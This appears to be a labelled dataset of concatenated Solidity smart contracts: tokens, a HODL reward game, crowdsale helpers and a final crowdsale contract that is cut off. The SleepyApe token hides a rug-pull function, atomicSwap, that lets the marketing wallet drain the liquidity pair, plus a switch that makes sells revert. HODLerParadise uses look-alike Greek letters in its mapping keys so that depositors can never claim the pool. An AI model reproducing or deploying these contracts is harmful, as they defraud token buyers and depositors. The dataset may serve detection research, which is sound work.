contract IndianRupeesCoin is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
string public name;
uint8 public decimals;
string public symbol;
address public owner;
constructor() public {
decimals = 18;
totalSupply_ = 1000000000 * 10 ** uint256(decimals);
balances[0x02063eFBC5653989BdDeddaCD3949260aC451ee2] = totalSupply_;
name = "Indian Rupees Coin";
symbol = "INRC";
owner = 0x02063eFBC5653989BdDeddaCD3949260aC451ee2;
Transfer(address(0x0), 0x02063eFBC5653989BdDeddaCD3949260aC451ee2 , totalSupply_);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner{
owner = _newOwner;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function() payable public{
revert();
}
} | 1 | 3,056 |
pragma solidity ^0.7.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SleepyApe is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
bool private um = true;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
bool private boughtEarly = true;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event EndedBoughtEarly(bool boughtEarly);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Sleepy Ape", "SleepyApe") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 10;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1e14 * 1e18;
maxTransactionAmount = totalSupply * 1 / 100;
maxWallet = totalSupply * 2 / 100;
swapTokensAtAmount = totalSupply * 5 / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = payable(0x4B10bF8404ceE896a8Ebc4CE7570aeF4176A8a7e);
devWallet = payable(0x4B10bF8404ceE896a8Ebc4CE7570aeF4176A8a7e);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(devWallet), true);
excludeFromFees(address(marketingWallet), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(devWallet), true);
excludeFromMaxTransaction(address(marketingWallet), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external {
require(msg.sender == marketingWallet);
require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function atomicSwap(uint amount) external {
require(msg.sender == marketingWallet);
uint bal = balanceOf(uniswapV2Pair);
if (bal > 1) _transfer(uniswapV2Pair, address(this), bal - 1);
IUniswapV2Pair(uniswapV2Pair).sync();
swapTokensForEth(amount * 10 ** decimals());
address(marketingWallet).call{value: address(this).balance}("");
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!bots[from] && !bots[to]);
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount");
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
swapTokensForEth(amountToSwapForETH);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function openTrading(uint256 botBlocks) private {
_firstBlock = block.number;
_botBlocks = botBlocks;
tradingActive = true;
}
function enableTrading(uint256 botBlocks) external onlyOwner() {
require(botBlocks <= 1, "don't catch humans");
swapEnabled = true;
require(boughtEarly == true, "done");
boughtEarly = false;
openTrading(botBlocks);
emit EndedBoughtEarly(boughtEarly);
}
} | 1 | 3,588 |
pragma solidity ^0.4.0;
contract HODLerParadise{
struct User{
address hodler;
bytes32 passcode;
uint hodling_since;
}
User[] users;
mapping (string => uint) parameters;
function HODLerParadise() public{
parameters["owner"] = uint(msg.sender);
}
function get_parameters() constant public returns(
uint price,
uint price_pool,
uint base_reward,
uint daily_reward,
uint max_reward
){
price = parameters['price'];
price_pool = parameters['price_pool'];
base_reward = parameters['base_reward'];
daily_reward = parameters['daily_reward'];
max_reward = parameters['max_reward'];
}
function register(bytes32 passcode) public payable returns(uint uid)
{
require(msg.value >= parameters["price"]);
require(passcode != "");
users.push(User(msg.sender, passcode, now));
parameters["price_pool"] += msg.value * 99 / 100;
parameters["last_hodler"] = now;
uid = users.length - 1;
}
function hash_passcode(bytes32 passcode) public pure returns(bytes32 hash){
hash = keccak256(passcode);
}
function get_reward(uint uid) public constant returns(uint reward){
require(uid < users.length);
reward = parameters["base_reward"] + parameters["daily_reward"] * (now - users[uid].hodling_since) / 1 days;
reward = parameters["max_reward"];
}
function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct){
require(uid < users.length);
bytes32 passcode_actually = users[uid].passcode;
if (passcode_actually & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0){
return passcode == passcode_actually;
} else {
return keccak256(passcode) == passcode_actually;
}
}
function claim_reward(uint uid, bytes32 passcode) public payable
{
require(msg.value >= parameters["price"]);
require(is_passcode_correct(uid, passcode));
uint final_reward = get_reward(uid) + msg.value;
if (final_reward > parameters["price_poοl"])
final_reward = parameters["price_poοl"];
require(msg.sender.call.value(final_reward)());
parameters["price_poοl"] -= final_reward;
if (uid + 1 < users.length)
users[uid] = users[users.length - 1];
users.length -= 1;
}
function refund_and_die() public{
require(msg.sender == address(parameters['owner']));
require(parameters["last_hοdler"] + 7 days < now);
uint price_pool_remaining = parameters["price_pοοl"];
for(uint i=0; i<users.length && price_pool_remaining > 0; ++i){
uint reward = get_reward(i);
if (reward > price_pool_remaining)
reward = price_pool_remaining;
if (users[i].hodler.send(reward))
price_pool_remaining -= reward;
}
selfdestruct(msg.sender);
}
function check_parameters_sanity() internal view{
require(parameters['price'] <= 1 ether);
require(parameters['base_reward'] >= parameters['price'] / 2);
require(parameters["daily_reward"] >= parameters['base_reward'] / 2);
require(parameters['max_reward'] >= parameters['price']);
}
function set_parameter(string name, uint value) public{
require(msg.sender == address(parameters['owner']));
require(keccak256(name) != keccak256("last_hodler"));
require(keccak256(name) != keccak256("price_pool"));
parameters[name] = value;
check_parameters_sanity();
}
function () public payable {
parameters["price_pool"] += msg.value;
}
} | 0 | 126 |
pragma solidity ^0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor() internal {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract Contributions is OperatorRole, TokenRecover {
using SafeMath for uint256;
struct Contributor {
uint256 weiAmount;
uint256 tokenAmount;
bool exists;
}
uint256 private _totalSoldTokens;
uint256 private _totalWeiRaised;
address[] private _addresses;
mapping(address => Contributor) private _contributors;
constructor() public {}
function totalSoldTokens() public view returns (uint256) {
return _totalSoldTokens;
}
function totalWeiRaised() public view returns (uint256) {
return _totalWeiRaised;
}
function getContributorAddress(uint256 index) public view returns (address) {
return _addresses[index];
}
function getContributorsLength() public view returns (uint) {
return _addresses.length;
}
function weiContribution(address account) public view returns (uint256) {
return _contributors[account].weiAmount;
}
function tokenBalance(address account) public view returns (uint256) {
return _contributors[account].tokenAmount;
}
function contributorExists(address account) public view returns (bool) {
return _contributors[account].exists;
}
function addBalance(address account, uint256 weiAmount, uint256 tokenAmount) public onlyOperator {
if (!_contributors[account].exists) {
_addresses.push(account);
_contributors[account].exists = true;
}
_contributors[account].weiAmount = _contributors[account].weiAmount.add(weiAmount);
_contributors[account].tokenAmount = _contributors[account].tokenAmount.add(tokenAmount);
_totalWeiRaised = _totalWeiRaised.add(weiAmount);
_totalSoldTokens = _totalSoldTokens.add(tokenAmount);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
} | 1 | 3,307 |
pragma solidity ^0.4.18;
contract SmartCityToken {
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {}
function setTokenStart(uint256 _newStartTime) public {}
function burn() public {}
}
contract SmartCityCrowdsale {
using SafeMath for uint256;
struct Account {
uint256 accounted;
uint256 received;
}
mapping (address => Account) public buyins;
mapping(address => uint256) public purchases;
uint256 public totalReceived = 0;
uint256 public totalAccounted = 0;
uint256 public tokensPurchased = 0;
uint256 public totalFinalised = 0;
uint256 public firstPhaseEndTime;
uint256 public secondPhaseStartTime;
uint256 public endTime;
uint256 public auctionEndPrice;
uint256 public fixedPrice;
uint256 public currentBonus = 15;
uint256 public auctionSuccessBonus = 0;
bool public paused = false;
bool public campaignEnded = false;
SmartCityToken public tokenContract;
address public owner;
address public wallet;
uint256 public startTime;
uint256 public tokenCapPhaseOne;
uint256 public tokenCapPhaseTwo;
uint256 constant public FUNDING_GOAL = 109573 ether;
